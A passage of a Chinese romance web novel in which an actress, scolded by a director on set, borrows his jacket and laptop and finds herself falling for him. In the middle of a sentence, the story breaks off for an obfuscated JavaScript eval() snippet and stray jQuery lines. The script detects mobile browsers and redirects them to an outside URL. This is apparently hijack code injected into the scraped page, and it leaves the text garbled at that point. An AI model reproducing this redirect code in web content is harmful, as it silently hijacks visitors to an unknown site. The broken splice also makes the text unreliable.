令许昭有些意外的是,陈垣到鹭岛后消停了好几天,甚至玩起了消失,她和他也只有在电梯间偶尔碰面。
她想着或许陈垣又和哪个暧昧对象断联了,出去疯玩几天换换脑子罢了。于是她也没主动过问。
鹭岛沿海,早秋时的早晚温差大。
清凉的海风路过她的手臂、肩膀时,毫不留情,留下一阵寒颤。
许昭下意识抱着胳膊缩了缩,眼睛却还是紧紧盯着屏幕上的回放,不停检查着她的表情有没有出错。
这已经是这条片段第三次重拍了。她害怕这一次是她不小心出错,惹得陈星原不高兴。
“你读过剧本吗?围读迟到时怎么和大家保证的?程臣知道严音的喜欢后,第一反应是震惊吗?他是察觉过她的感情的,甚至他对她是一种放不了手又牵不起的感觉。”
“对不起导演,我......”
坐在录像机前的男人皱着眉头摘下了耳机,冷冷开口:“你对得起所有人陪你一条条重拍吗?出去!”
方才还喧闹的片场顿时鸦雀无声。
说这话时,陈星原的眼神里尽是不耐,凌厉的眉眼上挑,而薄唇下压,这副神情给许昭一种很强的压迫感。
她下意识指尖蜷了蜷,维持着弯腰盯着屏幕的姿势,连呼吸都不自觉克制了几分。
“今天就到这。”陈星原对这种不认真的演员心烦得不行,用力摁了摁眉心,起身时又顺手拎起了披在椅背上的外套。
转头一看,发现小姑娘拘谨的站在一旁。
她细密的眼睫低垂着,不停地揉搓着胳膊,乖巧得不行。
于是他将手上的外套递给她,开口时语气都不自觉放缓许多:“冷怎么不说?披上。”
她今天似乎乖得过分了,只是小声“噢”了一句就接过了外套,披在身上。跟在他身后时也很安静,要不是偶尔错开的脚步声,他几乎都要以为他一个人在走夜路。
不知为何,她越是这样,他就越想逗她。
于是陈星原脚步一顿,突然回过头。低着头走路的小姑娘果然被吓一跳,睫毛轻颤着瞪大眼睛看向他,那件在她身上显得大得过分的黑夹克险些抖落:“怎...怎么了?”
“我认识了一只猫,可总是不亲近我。”
路灯的光晕打在他眼睫。他笑着,眼尾微微眯起,明明是疑问的语气,却笑得像一只会迷惑人的狐狸,她下意识咽了咽嗓子。
然后,他轻轻单挑了下眉,漆黑的瞳孔里的眼神意味深长:“你说,怎么办才好?”
微凉的海风与周身的热气相撞,摇摇晃晃,她一头扎进了船舱。
“......可能那是一只慢热的猫。”她攥了攥指尖,下意识答,开口时却其实已经听不到自己的声音。
微微弯腰的男人笑着直起身子来。
他伸手轻揉了揉眼前脸颊微红的小姑娘的脑袋,开口时学着她愈来愈小声的说话方式:“那你记得帮我问问,什么时候我才能和它熟起来。”
许昭小心地咽了咽嗓子,小声地“噢”了一句。
可脸上的温度却越来越烫。她的心是一张弦,而他是拨弄的人。一个简单的音符,却是她的心在无言地颤动着,诉说着说不出口的言语。
即使他并没有看到。
走廊的声控灯无声地暗下去,许昭看着面前虚掩的房门,里面透出明亮的刺眼的灯光,她垂下眼睫,不免有些心情复杂。
明明只是一次普通的等待,她却觉得这像极了他们。她站在暗处,而他拿着明牌,她等待,而他恍若不知。
好在暖黄色的灯光再次应声而起,照亮了整个走廊。
陈星原将笔记本电脑递给她,又在上面叠了一盒绿色的感冒灵颗粒。随后他抱着手随意倚在门框边上,抬眸看向她时笑得很散漫:“天气转凉,你再帮我转告一下猫,别感冒了。”
心脏再一次剧烈的颤动,许昭颤了颤眼睫。指尖不自觉攥紧手中的东西,她只想快点逃离他的视线,可心中摇摆不定,又想再对他说点什么。
于是在点点头,走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788804|210285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出几步之后还是定住了。她微微转了转身,颤颤眼睫,并不敢看他,只是盯着地毯的某一处,小声开口。
“猫让我说,谢谢你。”
靠在门框的男人神色怔了一瞬,接着便笑了起来,肩膀微微颤动着。被小姑娘这副谨小慎微的模样可爱到,以前没觉得她像他妹妹,现在倒成了他求之不得了。
于是笑着说:“好,晚安。”
而就是这一句简单的“晚安”彻彻底底扰乱了许昭的心绪。
就连洗澡的时候,只是闭上眼,眼前的画面就瞬间变成了他笑得像一只狐狸,下颌轻抬。对她温声说,晚安。
真是完蛋了。
许昭深深吸一口气,等到终于静下心来坐在电脑前填志愿时,已经将近凌晨一点钟了。
紧绷的神经放松下来后,困意慢慢袭来,她一边打着哈欠,一边打开电脑。
可开机的瞬间便没有困意了。
她握着鼠标的指尖顿了顿,只是盯着屏幕好半晌。不自觉观察着她所能不逾矩而又能了解他更多的一切。
他的桌面壁纸是一张简单的海边落日,原来他喜欢落日么。
喜欢用的浏览器不是系统自带的,是一个火红的狐狸。
喜欢玩的游戏是LOL,听歌的软件是QQ音乐。
......
这种感觉很微妙。
所有的所有都在不断提醒她,这是他的所有物。包括那件外套,上面还留着他身上的气味和残存的体温。
而更微妙的是,她短暂的拥有了他所有物的使用权。
等许昭终于回过神来,她咽了咽嗓子。
然后迅速点开浏览器,打开网站填信息,将志愿报好。
正事做完了之后,她又将页面切回电脑桌面。
就在她觉得再看下去就有点太夸张了,准备关电脑之时。
猝不及防在“开始”的菜单里看到一个文件。
鼠标光点在那一列停留了许久,久到屏幕渐渐黯淡下去......